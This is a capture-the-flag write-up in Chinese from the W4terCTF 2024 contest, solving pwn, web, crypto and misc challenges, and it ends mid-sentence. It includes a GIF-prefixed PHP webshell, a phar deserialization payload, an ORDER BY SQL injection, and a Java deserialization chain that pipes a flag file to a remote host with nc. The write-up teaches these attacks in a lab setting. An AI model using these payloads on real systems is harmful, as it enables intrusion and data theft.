W4terCTF2024 Writeup

W4terCTF2024 Writeup

中山大学信息安全新手赛 W4terCTF 2024总结

队伍成员:

队伍

比赛情况:

W4terCTF2024-banner

有幸获得全场前五

AI

Network Reverse

网络结构长这样:

1
2
3
4
5
6
7
8
9
10
Sequential(
(0): Conv2d(3, 4, kernel_size=(2, 2), stride=(1, 1))
(1): GELU(approximate='none')
(2): Conv2d(4, 8, kernel_size=(5, 5), stride=(1, 1))
(3): GELU(approximate='none')
(4): MaxPool2d(kernel_size=3, stride=3, padding=0, dilation=1, ceil_mode=False)
(5): Linear(in_features=412, out_features=1848, bias=True)
(6): Conv2d(8, 1, kernel_size=(1, 1), stride=(1, 1))
(7): Tanh()
)

首先,卷积和池化层只会在图像中的一个较小的局部内用某种方式抹一把,并不会比如说把W的上半部分丢到另一个地方去,不会破坏可辨识的字体形状,所以卷积和池化层可以直接当做不存在。

第一层atan()没有难度,第三层给weight求个逆即可逆向:

1
2
3
4
5
6
7
def reverse(ts):
ts = torch.atanh(ts)
C = ts
A = net[5].weight.transpose(1, 0)
ts = C @ torch.pinverse(A)

return ts

上面这个函数逆向出来长这样:

network-reverse1

感觉行之间的梯度非常小,不如来个竖直方向的锐化滤波器试试?

1
2
3
4
5
mat = np.array(reverse(tensor).detach().numpy()[0])
kernel = np.array([[0, -1, 0], [0, 0, 0], [0, 1, 0]], dtype=np.float32)
filtered = cv2.filter2D(mat, -1, kernel)

plt.imshow(filtered, cmap='gray')

network-reverse2

啊?

Pwn

Remember It 0

签到题,自动化脚本获取flag:

ipynb
1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
p=remote('127.0.0.1', 50184)
for i in range(10):
p.recvuntil("Your choice: ", drop=False)
p.send("1\n")
p.recvuntil(": ", drop=False)
x = p.recvuntil("\x08", drop=False)
p.recvuntil("plz input your answer\n", drop=False)
x = x[:-1].decode('utf-8') + '\n'
p.send(x)
p.send("cat flag\n")
flag = p.recvuntil("}", drop=False)
print(flag)

W4terCTF{THOU9h_l_Hav3_tO_SAy_g0oD8y3~}

Remember It 1

无保护,可以栈溢出。

Remember-It-1-1

read一次读32字节,缓冲区有10 * 32字节,按理来说只有十轮游戏就不会越界,然而并没有超过十轮退出游戏的逻辑,十轮之后可以接着下一轮,这时读到的东西就越过缓冲区了。

比较菜,没用明白pwntools,是手搓十六进制编辑器作为输入,开着gdb一点一点试出来的。payload如下:

Remember-It-1-2

前面是一堆1\nAAAABBBB...\n用来跳过前十轮,第十一轮读指针已经位于栈顶附近,把FEE1DEAD的地址0xB61840放在$rbp指向的位置,然后用垃圾填满32字节结束本次read,下一轮选4退出游戏,main返回,就会到达FEE1DEAD

2048

ISTG我真的只是随便敲了一坨输入进去,然后直接弹了句sh: 1: xxxxxx: not found给我整不会了。

下面是可以稳定getshell的payload:

2048

Web

GitZip

重新做了一遍:

gitzip1

漏洞大概是这里:

gitzip2

要把./都用%编码才能过,/也要编码是我没想到的,大概是针对每一层/的处理会包含一些奇怪的特殊步骤,需要把/编码掉来跳过这些步骤,让完整的路径字符串直达req.params.htmlname

ASHBP

查看源代码,首先全局搜索 flag ,马上就找到可以直接得到 flag 的 get_flag 函数:

download.php
1
2
3
4
5
6
<?php
function get_flag()
{
return file_get_contents(rsa_decrypt($_POST['flag']));
}
?>

同时在 init.sh 中可以看到 flag 的位置:

init.sh
1
2
3
4
5
6
7
8
9
10
11
12
#!/bin/sh

echo $GZCTF_FLAG > /tmp/flag
chmod 444 /tmp/flag

unset GZCTF_FLAG

base64 /var/www/html/src/rsa.pem > /var/www/html/src/rsa_base64.pem
base64 /var/www/html/src/rsa_pub.pem > /var/www/html/src/rsa_pub_base64.pem

php-fpm -D
nginx -g 'daemon off;'

flag 位置为 /tmp/flag

全局搜索 get_flag 找到调用该函数的地方:

admin.php
1
2
3
4
5
6
7
8
9
10
11
12
13
......
<?php
include("rsa.php");
include("download.php");
if($_POST['cre']){
if(rsa_decrypt($_POST['cre'])!='admin'){
echo "凭据无效!";
}
else{
echo get_flag();
}
}
?>

查看 rsa_decrypt 解密的逻辑:

rsa.php
1
2
3
4
5
6
7
8
9
10
11
12
function rsa_decrypt($endata){
//私钥解密
$private_key = openssl_pkey_get_private(file_get_contents(PRIVATE_PATH));
if(!$private_key){
die('私钥不可用');
}
$return_de = openssl_private_decrypt(base64_decode($endata), $decrypted, $private_key);
if(!$return_de){
return('解密失败,请检查RSA秘钥');
}
return $decrypted;
}

下载公钥 rsa_pub.pem ,RSA 加密后再 base64 加密 admin/tmp/flag ,分别作为 creflag , POST 获取 flag :

hack.sh
1
2
3
4
5
export cre=$(echo admin | openssl rsautl -encrypt -inkey rsa_pub.pem -pubin | base64)

export flag=$(echo flag | openssl rsautl -encrypt -inkey rsa_pub.pem -pubin | base64)

curl -X POST -F "cre=$cre" -F "flag=$flag" http://127.0.0.1:50741/admin.php

W4terCTF{Unl0ck_7he_sECreTs_O1_tHE_s1MPle_hOMEw0rk_SUbm1Ssion_PLATfoRM}

User Manager

1
2
3
4
5
6
7
8
9
10
11
12
13
14
r.GET("/users", func(c *gin.Context) {
var users []User
orderBy := c.Query("order_by")
if orderBy == "" {
orderBy = "id asc"
}
db.Order(orderBy).Find(&users)

for i := range users {
users[i].Secret = "hidden www~~"
}

c.JSON(http.StatusOK, users)
})

这里orderBy直接来自用户输入,而GORM文档写道:

user-manager

安全 | GORM - The fantastic ORM library for Golang, aims to be developer friendly.

看起来db.Order(string)会把string直接拼在SQL语句的ORDER BY后面,于是加了个;,在后面注入了一句UPDATE,把所有用户的name改为自己的secret,下一次直接GET即可从用户的name字段拿到flag。

PNG Server

php.ini 中存在漏洞:

php.ini
1
cgi.fix_pathinfo = 1

这个设置会导致所请求的 .php 文件不存在就会跳到上一层的路径查找文件,比如说 http://....../.php ,那么就可以确定我们需要上传一个 php 文件

源代码中用 isImage 来判断上传文件是否为图片,这里的检查非常随便,存在漏洞:

index.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function isImage($imgPath)
{
$file = fopen($imgPath, "rb");
$bin = fread($file, 2);

fclose($file);
$strInfo = unpack("C2chars", $bin);
$typeCode = intval($strInfo['chars1'] . $strInfo['chars2']);
$fileType = '';

if ($typeCode == 255216 || $typeCode == 7173 || $typeCode == 13780) {
return $typeCode;
} else {
return false;
}
}

只需要在 php 木马前加上 GI ( 2 个字节对应 7173 )就可以通过检查,写一个返回 flag 的 php 木马:

shell
1
2
3
4
5
6
7
8
9
10
11
12
GI<?php
$currentDirectory = realpath(dirname(__FILE__));
$flag_path = realpath($currentDirectory . '/../../../../../flag');
$flag = fopen($flag_path , 'r');
if ($flag) {
$content = fread($flag, filesize($flag_path));
echo $content;
fclose($flag);
} else {
echo "无法打开文件 $filename";
}
?>

然后上传该文件,文件已经被改名为了 md5 随机码,F12 找到该文件的 url :

LRhQcpyB2oZPMkq

然后在该 url 后面加上 /.php 就可以执行该 php 木马:

t6FA2a8iX9OwGog

W4terCTF{uPL04Ds_ar3_0UR_vlC3_RCE_WwwWWw}

Auto Unserialize

首先在盲目找线索的阶段我是用 GET 方法得到 flag 的位置的:

shell
1
2
curl "http://127.0.0.1:54018/?img_file=../../../flag"
## Return Success

直到我看到了参考资料:reference

首先可能先需要:

shell
1
php --ini

找到 php.ini 加上这一行:

php.ini
1
phar.readonly = Off;

构造 payload phar.phar 文件用的 phar_gen.php

phar_gen.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
class command_test{
public $command = "echo file_get_contents('../../../flag');";
public function __destruct(){
eval($this->command);
}
}
@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub, 增加gif文件头,伪造文件类型
$o = new command_test();
$phar->setMetadata($o); //将自定义meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

运行脚本生成 payload phar.phar 文件,上传该文件,最后 GET 请求获取 flag ::

shell
1
2
3
4
5
php phar_gen.php

curl -X POST -F "file=@phar.phar" http://127.0.0.1:54018/

curl "http://127.0.0.1:54018/?img_file=phar://check.jpg/test.txt"

W4terCTF{uNsErl4I1z3_tH3_pH4r_ArCh1v3_TO_ReveAl_tHE_hIDdEn_tREASUrE_OF_7h3_Php_5Erver}

Just ReadObject

先贴payload:

突破口是队友查到的一个比较有名的案例:Java的优先队列序列化的时候,会把元素一个一个add进去,而add需要元素之间的比较。如果优先队列初始化时指定了比较器,会直接调用比较器的compare方法。

参考:ysoserial/src/main/java/ysoserial/payloads/CommonsCollections7.java at b7d0f27b46af06bbced7dbafddc49678179d3708 · frohoff/ysoserial · GitHub

而jar包里有个W4terTransformingComparator,它实现了Comparator,可以作为优先队列的比较器,并且它的compare方法非常的狂野:

1
2
3
4
5
6
public int compare(Object obj1, Object obj2) {
// ...
value1 = this.transformer.transform(obj1);
Object value2 = this.transformer.transform(obj2);
     return this.decorated.compare(value1, value2);
}

大概就是会调用两个比较对象的transform方法,然后呢这个类还有个decorated字段,类型是这个类自己,上面两个transform调用完,会接着调用decoratedcompare方法,相当于一个W4terTransformingComparator类型的链表。

那对于transformer呢,jar包里还有一个W4terInvokerTransformer,这个更狂野,它有这三个字段:方法名,参数类型定义列表,参数列表。这几个字段在序列化过程就可以完成加载。

而它的transform(Object obj)方法,会直接根据上面的三个参数,invoke这个obj的指定方法。

所以可以用它构造一个优先队列,指定比较器为这么一个比较器链表,每一级比较器都可以对obj用任意参数执行任意方法,并且优先队列里的元素也可以自己塞。

首先想到的是Runtime.getRuntime().exec(cmd),由于Runtime是不可序列化的运行时context,需要用反射获取,我们的方法是Class.class.forName("java.lang.Runtime")

也就是说优先队列里要先塞个Class.class,然后把上面的调用链拉成W4terTransformingComparator的链表即可。payload如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
Comparator comp_empty = new W4terComparator();

W4terTransformer trans_for_name =
W4terInvokerTransformer.invokerTransformer(
"forName",
new Class[] {String.class},
new Object[] {"java.lang.Runtime"}
);
W4terTransformer trans_get_method =
W4terInvokerTransformer.invokerTransformer(
"getMethod",
new Class[] {String.class, Class[].class},
new Object[] {"getRuntime", null}
);
W4terTransformer trans_exec =
W4terInvokerTransformer.invokerTransformer(
"exec",
new Class[] {String[].class},
new Object[] {new String[]{
"sh","-c","cat /tmp/flag | nc 172.18.198.218 6666"
}}
);

W4terTransformer trans_invoke =
W4terInvokerTransformer.invokerTransformer(
"invoke",
new Class[] {Object.class, Object[].class},
new Object[] {null, null}
);

W4terTransformingComparator comp_final =
new W4terTransformingComparator(
trans_for_name,
new W4terTransformingComparator(
trans_get_method,
new W4terTransformingComparator(
trans_invoke,
new W4terTransformingComparator(
trans_exec,
comp_empty
)
))
);
PriorityQueue<Class> pq =
    new PriorityQueue<Class>(comp_final);
pq.add(Class.class);
pq.add(Class.class);

serialize(pq, "hack.obj");

本地开nc监听6666端口,然后上传hack.obj即可立刻收到flag。

Crypto

Smoke hints

从task.py可以得到以下信息

以下将hint1~hint5简写为h1h5h_1 -h_5

  • h1h_1是随机生成的18位素数

  • h2=(h12)!e%h1h_2=(h_1-2)!e\%h_1

  • h3=p2256h_3=\lfloor\frac{p}{2^{256}}\rfloor

  • h4=d%2d.bit_length()//4h_4=d\%2^{d.bit\_length()//4}

  • h5=x2p+y2qh_5=x^2p+y^2q

还给了n和c

已知114514x211680542514y2+1919810=2034324114514 x^2 - 11680542514 y^2 + 1919810 = 2034324

化简后得到x2102001y2=1x^2-102001y^2=1

使用下面的脚本求得x和y的值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import math

def solvePell(n):
x = int(math.sqrt(n))
y, z, r = x, 1, x << 1
e1, e2 = 1, 0
f1, f2 = 0, 1
while True:
y = r * z - y
z = (n - y * y) // z
r = (x + y) // z

e1, e2 = e2, e1 + e2 * r
f1, f2 = f2, f1 + f2 * r

a, b = f2 * x + e2, f2
if a * a - n * b * b == 1:
return a, b

for n in [102001]:
x, y = solvePell(n)
print("x^2 - %3d * y^2 = 1\nx = %27d\n y = %25d" % (n, x, y))

根据

{x2p+y2q=h5pq=n\begin{cases} x^2p+y^2q=h_5\\ pq=n \end{cases}

得到

y2q2h5q+nx2=0y^2q^2-h_5q+nx^2=0

q=h5±h524nx2y22y2q=\frac{h_5\pm\sqrt{h_5^2-4nx^2y^2}}{2y^2}

得到的q有两个解,仅保留整数解,然后根据p=nqp=\frac nq得到p

现在得到了pq, 只需要e就能求得私钥d

因为题目没有直接提供e, 所以这里需要亿点点枚举

已知e是一个36位的素数, 枚举时使用getPrime()获得

它需要满足以下条件

  • GCD(e, (p - 1) * (q - 1)) == 1 and e < (p-1)*(q-1)
  • ( reduce(lambda x, y: x * y, range(1, h1 - 1)) * e) % h1 == h2(用到hint1和hint2)
  • h4 == d % (2 ** (d.bit_length() // 4)) (用到hint4)

最终代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from functools import reduce
import gmpy2
from Crypto.Util.number import *
from math import sqrt
import os
h5 = 15237245518187783270118095809520813715956779970121151605236017245281663349927871664089323996437198235332380649056157552139824794588282124241562678460596507994160450297450179528976589398846210519549196888613143426635079434084452257874065484561750625879566967728892028875015732523907566365015585071705383965108584900462347980930243703796275135520452238877712806925535901382203444872746731017403372197551202867519872504341875747056250334169640471053205861370866906946583776837242814046091601932206546117069281206618021968118790407685235602371416190212336628756323090425345962230904747291854448754116455587682431569485503641521272971686704473193019132477953908910849831685148677975221237038065750758015111863632278200747000157187997814194029400697403741838489362003974564359614821068833924840443285823258682774010695163217945524608036622625872746384332883461936945674717452827633809865102717159507550663596896932548991216607522697367537118903992798078936423232478772212951734438159292917127451068031982531631571612297893227345579357245226069692084913823443945826318169121459999393340568902299486793470467510065851569244119435052446898779718050907739373838489841346799589855583093882137549631777101404814967710333142369685932771643559927586884873934944456529776507128155937030841026343151440450761869269196359152094226878375985237603824966654988556567217028134068892779253422300240576637315948429841799367844063885304545920357705733411373493758050263143074535948457
x = 34834945635419823491817566563399234823053176449889821571800075702352062905044231520196782430564993617886316750841220280683153456634693274516582390418863033711415731372881163288179660369032440262647344962570809308551786423557604581792293023628226671539671001863522824415876161727357840363896909435994314597682318687286109212360132261705780761350223208855493439905713509683216585447535669179103840355151676900348955850726834778558748576176596609474037298456423607570516459873639794526160082489103786303332253388597560031538949333472681857144605196440020688999368156212067614295618998719682195870452330682061061500341728481458877113934526003865064359452801
y = 109071911012732502022850422978096246932142152916423367258339958080776017127779842287569032054094868715662547617710798972237860865468979518796870762466053422806566269221859683504667443154145089120448705028998733329483536176859312788275313407342047772524898407149610870586148015013605624329594138230714119704939505401061380777712216157719510271261619101362035144616187262082302740411574934586360516695062056563100258177611076242927354475633328163841594305884855770651187471060662561145818768319723133613889115397679168254599526858767478331211008997427364431641348477558436549415894985022330773540762573918592860707967250624976183104841257499345937186160
n = 162908386409122831644601726291514736982460317787650963552042804694858960756247295016072165050452122566555943647913977051861072784403314058088382494116300030479243222291806345961434419243328825539529128842207242691984718290143482242891139352813626310709638170008858946304550631669011725528861157958853032167147


delta2 = h5**2-4*n*x**2*y**2
delta = gmpy2.iroot(delta2,2)
delta = int(delta[0])
print(delta)
if (h5+delta)%(2*y**2) == 0:

q1=(h5+delta)//(2*y**2)
print(f"q1 = {q1}")

if (h5-delta)%(2*y**2) == 0:

q2=(h5-delta)//(2*y**2)
print(f"q2={q2}")

if n%q2 == 0:
p=n//q2
print(f"p = {p}")

q=q2
# 求e
h1 = 150247
h2 = 102488
h4 = 44535490898726654427376304836986323627856798106830892558987452614726931403119
print(f"q={q}")
tmp = reduce(lambda x, y: x * y, range(1, h1 - 1))

while True:
e = getPrime(36)
if GCD(e, (p - 1) * (q - 1)) == 1 and e < (p-1)*(q-1) and ( tmp * e) % h1 == h2:
print(f"maybe e={e}")
d=gmpy2.invert(e, (p - 1) * (q - 1))
print(f"maybe d={d}")
nh4 = d % (2 ** (d.bit_length() // 4))
if nh4 == h4:
break

print("success")
print(f"e={e}")
print(f"d={d}")

开 8 个线程运行一晚上, 成功枚举到正确的e, 并得到d

使用下面的脚本, 根据私钥解密密文, 得到flag

1
2
3
4
5
6
7
8
from Crypto.Util.number import long_to_bytes
e = 36905723839
d = 66781150190539205038154636873316650284846375610597564467113301562207220876080997654261761651771185773920764536611596660709696442562219146865775186656742157829910073552979854383590613522355255045862718785890708775548436159002198598103886840865569957379996409759081212055357149668774721007823047658341778542959
n = 162908386409122831644601726291514736982460317787650963552042804694858960756247295016072165050452122566555943647913977051861072784403314058088382494116300030479243222291806345961434419243328825539529128842207242691984718290143482242891139352813626310709638170008858946304550631669011725528861157958853032167147
c = 33087238461387318335074410411142790336660168200231648518849044049333308060938917518277424800358623613184976785426565004507278568420843160272353164463818453523209164535111619601021121321114970839731250362111118957833038271450092546392532900928613625992384890463665974527179679504545602403023570778993190377708

m=pow(c,d,n)
print(long_to_bytes(m))

W4terCTF{W47cH_oUT_7He_Smok3_hIn75_1ROM_wll5oN}

Wish

查看源代码,看到确定抽取结果的逻辑:

app.py
1
2
3
4
5
6
7
8
9
10
11
12
13
def generate_wish(time, index):
random.seed(time)
probability = 0
for _ in range(index):
diff = min(abs(random.randint(0, 1919810) - 114514), 10000)
probability = 100 * (0.1) ** diff
app.logger.info(
f'probability: {probability}, time: {time}, index: {index}')
if int.from_bytes(os.urandom(1), 'little') % 100 + 1 <= probability:
return "flag"
else:
characters = string.ascii_letters + string.digits
return ''.join(random.choice(characters) for _ in range(4))

发现是利用 time 作为伪随机数序列的初始化种子,要想抽出 flag ,需要 probability 尽可能地大,那么 index 只能取 1abs(random.randint(0, 1919810) - 114514) 的值只能为 01 ,所以据此爆破出一个可行的 time

pwn_time.py
1
2
3
4
5
r = 24*60*60
for i in range(r):
random.seed(i)
if abs(random.randint(0, 1919810) - 114514) <= 1:
print(i)

得到唯一符合目标的结果:time=20544 ,然后就是真的抽 flag :

shell
1
2
3
4
5
curl -X GET -H "Content-Type:application/octet-stream" http://127.0.0.1:52829/query_reset
## 获取 3 次 wish 机会

curl -X POST -H "Content-Type: application/json" -d '{"time":20544,"index":1}' http://127.0.0.1:52829/wish
## 抽 flag

W4terCTF{Crack_insteal_of_wish_the_seed_d0ab21251107}

即使这样还抽了十几次才出 flag , 好黑的池子!

Misc

Sign In

排行榜

broken.mp4

按照 record_1.mp4 的指引,找到了文章链接

https://blog.csdn.net/NDASH/article/details/136151418

按照文章指引, 去 https://github.com/anthwlock/untrunc/releases/tag/latest 下载所需的软件, 选择untrunc_x64

运行untrunc-gui, reference file 选 record_1.mp4 , truncated file 选 record_2.mp4

brokenmp4

这样就能得到 record_2.mp4 的修复版, 在视频结尾能找到flag

W4terCTF{L1fe_is_5h0rT_so_i_Us3_MKV_248DF3C}

Shuffle Puts

启动容器,从浏览器访问,可以下载一个文件meow

执行下面的命令查看文件中所有字符串

1
strings .\meow

在输出中可以找到flag

W4terCTF{sHUFF1e_5hufF1e_FLA6_MEOWmeOWm30W}

Revenge of Vigenere

这题的加密是维吉尼亚密码的一个变种

连接容器后,只能获得加密后的密文

解决思路是如果知道原文的一个片段,而且知道完整的密文,可以尝试倒推KEY。

原文中存在W4terCTF是确定的,可以据此倒退KEY

运行下面的代码,根据已知的明文W4terCTF和密文Q4doySZB , 尝试推出密钥的其中连续7位

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from pwn import remote
while True:
recv = 'Vqcvh! Pd beoq, m bhkhbu bxohuowrlkux fljknkh, oufr bysgocsklze au vydo loydcy uab bybrxcr rr hne xcmsziopexqm bd Lqjk. Qbmi Owyaiy, xy tuxa Fyzyrp uv Lgkcxo, bg ot Xycdpwk kp nty Imd fevrfm, dhk Baeuxd, Cqtecbqx, nq zxu ukwi Lbhgl Xisml el pry Hyegyycoicxkws toy Poxlhgpom ibnr zxue lhgu Owrihcon. Oecafyd, nugy Lqrllskl Josknkdpet kp u ns-tmtu Lkuuxyhb, ytchnc Cybepcqx, nlj xqy Siauw hu Vchaepin pryey Ictqb gkx Zykirepn Foycoj fuzahyxt-ytd Pmsx otd Xiemoigbshs nuc Byerbhxbr Jockiec hdj Rylmwvmai Lolfejbct oh Pyvpjokx. Uycqqz jxop Pshmsd oh Pobieyeds, m Prgrut Bbmxyzs uf Xcxnpsgpsiz yzcxwuy: x Pehbohlg Q4doySZB{lYzyNRN_Jx3_sXMo_lBU3T3RG_5NBvR3I_84Ig_GcFB_i3L934ts3}, okq Pmltqoowm Fojjun pid Pvazehe. Qbi egze Vglnsjj oo Fyzarytsu; g Syrtxhza, jyvn hi g Rynupr, luj yt Sumd, ycx tjy Fkskk wxx Hyeyiyje lz wkvv yhcfv yuu jwi Puhqgiqjk qbi Lbuolchd kut zdo Pulgsuki. Bblmbr, hniu Psmooyoycey bd Buhhfuku Oskru gyca Lknliey, lcz myzecr ymg Bonowoz boac nty Ighhqtq Psyvs uf Xuvskqzeyh. Uh gfoi Lkfh, mj bg sy Xybi neuz rizie ru cukq ssk tbj yqo wkf sghv gq P.'
#
# print(recv)
# print(len(recv))
index = 0
idx_arr=[]
for ch in recv:
if ch.isalpha():
idx_arr.append(index)
index += 1
else:
idx_arr.append(0)
# print(idx_arr)
start = 609
# start = 0
min = 'W4terCTF'
def test(start, min):
for i,x in enumerate(min):
if not x.isalpha():
continue
mi_i = start + i
mi = recv[mi_i]
mi_idx=idx_arr[mi_i]
if x.isupper():
base = ord('A')
else:
base = ord('a')
val = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
for v in val:
if (mi_idx+1)%2 == 1 and (ord(x)-base+mi_idx*(ord(v)-65))%26 == ord(mi)-base or (mi_idx+1) % 2 != 1 and (ord(x)-base-mi_idx*(ord(v)-65)) % 26 == ord(mi)-base:
print(v, end=' ')
print(f'\n{x},{mi},{mi_idx}')
print('')
test(start,min)
print('-------------')
start=0
min='Hello'
# test(start,min)
break

运行结果如下,为密钥其中连续七位可能的取值,每一位可能会出现多种取值,所以有些行有两个字母

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
K X 
W,Q,496

O
t,d,497

J W
e,o,498

J
r,y,499

H U
C,S,500

O
T,Z,501

G T
F,B,502

然后,利用下面的代码,用部分密钥尝试还原出原文

因为只知道密钥的一部分,所以只能还原原文的一些片段。具体的操作为,考虑到密钥的长度在10和20之间,枚举密钥的长度,对于每个枚举,根据Q4doySZB在密文中的位置推算已知密钥片段在密钥中的位置

另外,考虑到密钥已知部分的每一位都可能有多种取值,还需要用回溯法枚举所有可能的密钥片段,可能性只有16种,数量不是很大

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
import random
recv = 'Vqcvh! Pd beoq, m bhkhbu bxohuowrlkux fljknkh, oufr bysgocsklze au vydo loydcy uab bybrxcr rr hne xcmsziopexqm bd Lqjk. Qbmi Owyaiy, xy tuxa Fyzyrp uv Lgkcxo, bg ot Xycdpwk kp nty Imd fevrfm, dhk Baeuxd, Cqtecbqx, nq zxu ukwi Lbhgl Xisml el pry Hyegyycoicxkws toy Poxlhgpom ibnr zxue lhgu Owrihcon. Oecafyd, nugy Lqrllskl Josknkdpet kp u ns-tmtu Lkuuxyhb, ytchnc Cybepcqx, nlj xqy Siauw hu Vchaepin pryey Ictqb gkx Zykirepn Foycoj fuzahyxt-ytd Pmsx otd Xiemoigbshs nuc Byerbhxbr Jockiec hdj Rylmwvmai Lolfejbct oh Pyvpjokx. Uycqqz jxop Pshmsd oh Pobieyeds, m Prgrut Bbmxyzs uf Xcxnpsgpsiz yzcxwuy: x Pehbohlg Q4doySZB{lYzyNRN_Jx3_sXMo_lBU3T3RG_5NBvR3I_84Ig_GcFB_i3L934ts3}, okq Pmltqoowm Fojjun pid Pvazehe. Qbi egze Vglnsjj oo Fyzarytsu; g Syrtxhza, jyvn hi g Rynupr, luj yt Sumd, ycx tjy Fkskk wxx Hyeyiyje lz wkvv yhcfv yuu jwi Puhqgiqjk qbi Lbuolchd kut zdo Pulgsuki. Bblmbr, hniu Psmooyoycey bd Buhhfuku Oskru gyca Lknliey, lcz myzecr ymg Bonowoz boac nty Ighhqtq Psyvs uf Xuvskqzeyh. Uh gfoi Lkfh, mj bg sy Xybi neuz rizie ru cukq ssk tbj yqo wkf sghv gq P.'
# recv = 'Q4doySZB'
# from secret import original_text
# print(original_text)

start = 496
def decrypt_vigenere_variant(plaintext, key):
key_index = 0
key_length = len(key)
text_index = key_index

for char in plaintext:
if char.isalpha():
if key[key_index % key_length] == '?':
print('?',end='')
key_index += 1
text_index += 1
continue
key_char = key[key_index % key_length].upper()
key_offset = ord(key_char) - 65

if char.isupper():
base = ord('A')
else:
base = ord('a')

if (text_index + 1) % 2 == 1:
out = []
for ori in range(26):
if ord(char) == (ori + text_index * key_offset) % 26 + base:
out.append(chr(ori+base))
if len(out) == 0:
print('()', end='')
elif len(out) == 1:
print(out[0], end='')
else:
print(out, end='')

else:
out = []
for ori in range(26):
if ord(char) == (ori - text_index * key_offset) % 26 + base:
out.append(chr(ori+base))
if len(out) == 0:
print('()', end='')
elif len(out) == 1:
print(out[0], end='')
else:
print(out, end='')

# ciphertext += encrypted_char
key_index += 1
text_index += 1
else:
print(char, end='')


length = random.randint(10, 20)


arr = [['K', 'X'],
['O'],
['J', 'W'],
['J'],
['H', 'U'],
['O'],
['G', 'T']]
random_key_arr = []
random_key = ''


def try_idx(i):
global random_key, random_key_arr
if i == len(arr):
print(random_key)
decrypt_vigenere_variant(recv, random_key)
# print(f'{decrypted}')
print('\n------------')
return
for x in arr[i]:
random_key_arr.append(x)
random_key = ''.join(random_key_arr)
try_idx(i+1)
random_key_arr.pop(len(random_key_arr)-1)
# print(random_key)

lkey = len(arr)
for i in range(10,20):
print(f"len(key)={i}")
mod = start % i
old_arr = arr.copy()
for j in range(mod):
arr.insert(0,['?'])
while len(arr) < i:
arr.append(['?'])
if len(arr) == i:
try_idx(0)
arr=old_arr

运行后的输出比较长,需要人工筛选出合理的,即在里面找到一篇文章,已完全解密的单词都是合法的单词

可以发现,密钥长度为13时,大多数已解密的单词都是合法的

密钥为 ??KOWJHOG???? 时解密效果最好,结果为:

1
??ilx! In vi??, ? ???ble vaud??????an veter??, ???? vicario???? ?? both vic??? ??? villain ?? ??? ?icissit???? ?? Fate. Thi? ?????e, no mere ?????? of Vanit?, ?? ?? ?estige o? ??? ??x populi, ??? ???ant, Vani????, ?? the once ????? ?oice of t?? ????similit??? ??? Venerat?? ???? they onc? ?????ied. Howe???, ???s Valoro?? ????tation o? ? ??-??ne Vexat???, ???nds Vivi????, ??d has Vow?? ?? ??nquish t???? ??nal and V??????t Vermin ??????rd-ing Vi?? ??? ?ouchsaf??? ??? Violent?? ????ous and V??????us Viola???? ?? Volitio?. ?????t this Vo???? ?? Verbosi??, ? ???led Vest??? ?? ?indicat??? ???rges: a Va?????? W4terCTF{??????H_Th3_mASk_???3?3??_5TRlK3S_84Ck_????_?3?934nc3}, yet Vi??????s Vector ??? ???tory. The ???? ??rdict is ??????nce; a Ven?????, ?eld as a V?????, ?ot in Vai?, ??? ??e Value a?? ????city of s??? ???ll one da? ?????cate the ??????nt and th? ?????ous. Veri??, ???? Vichyss???? ?? Verbiag? ????? most Ver????, ??t within ??? ???umes lie? ??? ??brant Vo??? ?? ?alidati??. ?? ??is Vein, i? ?? ?? ?ery good ????? ?o meet yo? ??? ??u may cal? ?? ?.

可以大胆猜测,其中的Howe???, ???s原文是However, this,重复上面的操作,尝试逆推出密钥的另一部分

以下可以复用上面的代码,可以推测更长的密钥片段:

1
2
3
4
5
6
7
8
9
10
11
[['K', 'X'],
['O'],
['J', 'W'],
['J'],
['H', 'U'],
['O'],
['G', 'T'],
['W'],
['C', 'P'],
['G'],
]

然后用更长的密钥片段尝试解密原文,筛选出其中有效的如下

密钥为??KOWJHOGWPG?

1
??ilx! In view, a ???ble vaudevi???an veteran, c??? vicariousl? ?? both victim ??? villain by t?? ?icissitude? ?? Fate. This Vi???e, no mere Ven??? of Vanity, is ?? ?estige of th? ??x populi, now ???ant, Vanishe?, ?? the once Vit?? ?oice of the V???similitude ??? Venerates w??? they once Vi???ied. However, ???s Valorous V???tation of a b?-??ne Vexation, ???nds Vivifie?, ??d has Vowed t? ??nquish thes? ??nal and Viru???t Vermin van???rd-ing Vice a?? ?ouchsafing ??? Violently V???ous and Vora???us Violatio? ?? Volition. Am???t this Vorte? ?? Verbosity, a ???led Vestige ?? ?indication ???rges: a Varia??? W4terCTF{bEn???H_Th3_mASk_vIG3?3??_5TRlK3S_84Ck_WiT?_?3?934nc3}, yet Vivac???s Vector for ???tory. The onl? ??rdict is Ven???nce; a Vendet??, ?eld as a Voti??, ?ot in Vain, fo? ??e Value and V???city of such ???ll one day Vi???cate the Vig???nt and the Vi???ous. Verily, t??? Vichyssois? ?? Verbiage Ve??? most Verbos?, ??t within its ???umes lies th? ??brant Voice ?? ?alidation. I? ??is Vein, it is ?? ?ery good hon?? ?o meet you an? ??u may call me 